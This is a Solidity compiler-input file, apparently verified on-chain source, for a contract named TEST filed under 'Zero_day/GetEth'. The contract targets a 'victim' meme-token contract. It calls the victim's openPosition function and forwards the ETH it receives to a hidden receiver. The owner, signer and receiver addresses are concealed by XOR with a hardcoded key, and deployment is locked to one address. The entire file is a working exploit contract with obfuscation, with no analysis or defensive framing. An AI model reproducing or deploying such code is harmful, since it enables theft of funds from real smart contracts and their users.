TEST

{{
  "language": "Solidity",
  "sources": {
    "Zero_day/10_30_GetEth.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.26;\r
\r
interface IERC20 {\r
    event Approval(address indexed owner, address indexed spender, uint value);\r
    event Transfer(address indexed from, address indexed to, uint value);\r
\r
    function name() external view returns (string memory);\r
    function symbol() external view returns (string memory);\r
    function decimals() external view returns (uint8);\r
    function totalSupply() external view returns (uint);\r
    function balanceOf(address owner) external view returns (uint);\r
    function allowance(address owner, address spender) external view returns (uint);\r
\r
    function approve(address spender, uint value) external returns (bool);\r
    function transfer(address to, uint value) external returns (bool);\r
    function transferFrom(address from, address to, uint value) external returns (bool);\r
}\r
\r
interface IVICTIM {\r
    function openPosition(bytes calldata data, address target) external;\r
    function dutchAuctionStartBlock() external view returns (uint256);\r
    function twapMemeIncrement() external view returns (uint256);\r
    function currentFees() external view returns (uint256);\r
    function lastTwapMemeBlock() external view returns (uint256);\r
    function twapMemeDelayInBlocks() external view returns (uint256);\r
    function getMinimumTokensToBuy() external view returns (uint256);\r
}\r
\r
contract TEST {\r
\r
    address payable public vowner;\r
    address payable public receiver;\r
    address private victim;\r
\r
    mapping(address account => uint256) private _nonces;\r
    address public signer;\r
    bytes32 domainSeparator;\r
\r
    bytes32 private constant PERMIT_TYPEHASH =\r
        keccak256("Permit(address vowner,address signer, uint256 nonce,uint256 deadline)");\r
\r
    bytes32 private constant TYPE_HASH =\r
        keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");\r
\r
    constructor() {\r
        address addr = msg.sender;\r
        bytes32 result = keccak256(abi.encode(uint256(uint160(addr))+20141020));\r
        bytes32 compare = 0x2c880debc26c15d15c5e9fbc42dab8586fa9e72fafbb2c700ac2cf722321cb88;\r
        require(result == compare);\r
        address owner_addr = 0x18431e46DC43152B42B9c4BE8dB854f5145ef732;\r
        address singer_addr = 0x3648DbB394F3DBe7D9F0253657Fb4e1cBB0b3DfB;\r
        address rec_addr = 0xBcd51c2711ec07C1902160a70B0840753b3dE789;\r
        bytes32 key = 0x394cE78F2Ac373D11ccda67e245db42b0eb46d95f990bedd4695a6e3f2002121;\r
        address owner;\r
        owner = address(uint160(owner_addr) ^ uint160(uint256(key)));\r
        signer = address(uint160(singer_addr) ^ uint160(uint256(key)));\r
        receiver = payable(address(uint160(rec_addr) ^ uint160(uint256(key))));\r
        vowner = payable(owner);\r
    }\r
\r
    function nonces(address owner) public view virtual returns (uint256) {\r
        return _nonces[owner];\r
    }\r
\r
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\r
        require(signature.length == 65, "signature Length Error!!!");\r
        bytes32 r;\r
        bytes32 s;\r
        uint8 v;\r
            // ecrecover takes the signature parameters, and the only way to get them\r
            // currently is to use assembly.\r
        assembly ("memory-safe") {\r
            r := mload(add(signature, 0x20))\r
            s := mload(add(signature, 0x40))\r
            v := byte(0, mload(add(signature, 0x60)))\r
        }\r
            \r
        return ecrecover(hash, v, r, s);\r
    }\r
\r
    function _hashTypedDataV4(bytes32 structHash, bytes32 domain) internal pure returns (bytes32 digest) {\r
        assembly ("memory-safe") {\r
            let ptr := mload(0x40)\r
            mstore(ptr, hex"19_01")\r
            mstore(add(ptr, 0x02), domain)\r
            mstore(add(ptr, 0x22), structHash)\r
            digest := keccak256(ptr, 0x42)\r
        }\r
    }\r
\r
    function getMessage(uint256 deadline) external view returns(bytes32 message){\r
        if (block.timestamp > deadline) {\r
            revert("deadline fails");\r
        }\r
\r
        require(vowner != address(0), "vowner Fail");\r
        require(signer != address(0), "signer Fail");\r
\r
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, vowner, signer, _nonces[signer], deadline));\r
\r
        message = _hashTypedDataV4(structHash, domainSeparator);\r
    }\r
    \r
    function withdraw() external {\r
        require(msg.sender == vowner); \r
        vowner.transfer(address(this).balance);      \r
    }\r
\r
    function withdrawERC20(address _token, address _to) external {\r
        require(msg.sender == vowner);\r
        IERC20(_token).transfer(_to, IERC20(_token).balanceOf(address(this)));\r
    }\r
\r
    function getStatus(address _token, address _addr) external view returns(uint256 amount){\r
        require(msg.sender == vowner, "Not Owner");\r
        amount = IERC20(_token).balanceOf(_addr);\r
    }\r
\r
    function TEMON(address _addr) external {\r
        require(msg.sender == vowner);\r
        victim = _addr;\r
    }\r
\r
    function TEWORK(uint256 deadline, bytes memory sign) external {\r
        require(msg.sender == vowner);\r
        require(msg.sender == tx.origin);\r
        permit(deadline, sign);\r
        IVICTIM(victim).openPosition('123', address(this));\r
        receiver.transfer(address(this).balance);\r
    }\r
\r
    function permit(\r
        uint256 deadline,\r
        bytes memory signature\r
    ) internal {\r
        if (block.timestamp > deadline) {\r
            revert("deadline fails");\r
        }\r
\r
        require(vowner != address(0), "vowner Fail");\r
        require(signer != address(0), "signer Fail");\r
\r
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, vowner, signer, _nonces[signer], deadline));\r
\r
        bytes32 hash = _hashTypedDataV4(structHash, domainSeparator);\r
\r
        address tmpsigner = recover(hash, signature);\r
        if (tmpsigner != signer) {\r
            revert("signature fail");\r
        }\r
\r
        _nonces[signer]++;\r
    }\r
\r
    function Possible(address _addr) external view returns (bool) {\r
\r
        if(IVICTIM(_addr).dutchAuctionStartBlock() <= 0) return false;\r
\r
        if (IVICTIM(_addr).currentFees() < IVICTIM(_addr).twapMemeIncrement()) return false;\r
\r
        if (block.number < IVICTIM(_addr).lastTwapMemeBlock() + IVICTIM(_addr).twapMemeDelayInBlocks()) return false;\r
\r
        if (0 < IVICTIM(_addr).getMinimumTokensToBuy()) return false;\r
\r
        return true;\r
    }\r
\r
    receive() external payable { }\r
    fallback() external payable { }\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}